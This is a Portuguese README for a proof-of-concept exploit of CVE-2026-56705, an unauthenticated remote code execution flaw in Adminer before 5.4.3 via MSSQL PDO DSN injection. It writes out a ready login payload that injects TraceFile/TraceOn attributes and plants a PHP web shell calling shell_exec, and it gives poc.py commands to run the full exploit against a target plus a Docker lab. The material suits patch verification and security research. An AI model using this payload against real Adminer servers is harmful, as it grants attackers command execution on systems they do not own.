
Exploit de PoC para Adminer < 5.4.3 RCE não autenticado via injeção de DSN PDO MSSQL, incluindo laboratório Docker e teste negativo.
| CVE | CVE-2026-56705 |
| GHSA | GHSA-r4x9-5m63-3vxw (aviso do fornecedor) / GHSA-34q8-53jm-qc2r (banco de dados GitHub) |
| Produto | Adminer (ferramenta de gerenciamento de banco de dados PHP em arquivo único) |
| Afetado | Adminer < 5.4.3 com pdo_sqlsrv + Microsoft ODBC Driver for SQL Server |
| Corrigido em | 5.4.3 |
| CVSS | 9.8 Crítico (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Tipo | CWE-20 → gravação arbitrária de arquivo não autenticada → RCE |
O Adminer não sanitiza o campo server fornecido pelo usuário antes de construir o
DSN PDO para conexões MSSQL:
// adminer/drivers/mssql.inc.php
function attach(string $server, string $username, string $password): string {
list($host, $port) = host_port($server);
return $this->dsn("sqlsrv:Server=$host" . ($port ? ",$port" : ""), $username, $password);
}
Pontos e vírgulas em server são tratados como delimitadores de atributos de conexão ODBC, portanto, um
atacante não autenticado pode anexar atributos arbitrários ao DSN — incluindo
TraceFile e TraceOn. O recurso de rastreamento do unixODBC grava a string de conexão completa
(com UID={username} literal) em TraceFile antes e independentemente de a tentativa de conexão
ser bem-sucedida. Injetar código PHP através do campo username
e apontar TraceFile para a raiz da web produz um web shell.
Um único POST de login não autenticado é suficiente. Sem credenciais válidas, sem interação do usuário.
auth[driver] = mssql
auth[server] = 127.0.0.1;TraceFile=/var/www/shell.php;TraceOn=1
auth[username] = <?php echo 'POC::'.shell_exec($_GET['c']);?>
auth[password] = x
sqlsrv:Server=127.0.0.1;TraceFile=/var/www/shell.php;TraceOn=1UID={<?php ... ?>} em /var/www/shell.phpGET /shell.php?c=id → o comando é executado# apenas fingerprint
python3 poc.py --target http://target/adminer.php --check
# exploit completo (grava <random>.php na raiz da web)
python3 poc.py --target http://target/adminer.php --command "id"
cd lab/
docker build -t adminer-cve-2026-56705 .
docker run -d -p 8081:8081 adminer-cve-2026-56705
python3 ../poc.py --target http://localhost:8081/adminer.php --command id
A imagem do laboratório espelha exatamente os pré-requisitos do aviso: php:8.3-cli +
pdo_sqlsrv (pecl) + msodbcsql18, raiz da web gravável pelo processo PHP.
mssql, ou remova
; (e espaços em branco) dos valores de server fornecidos pelo usuário em um proxy reverso.O aviso do fornecedor credita a descoberta conjuntamente ao relator e a Yashar Shahinzadeh (@voorivex).
PoC e laboratório: Hamza Cagrici (@Boreas37)
| Data | Evento |
|---|---|
| 2026-08-25 | CVE publicado / corrigido no Adminer 5.4.3 |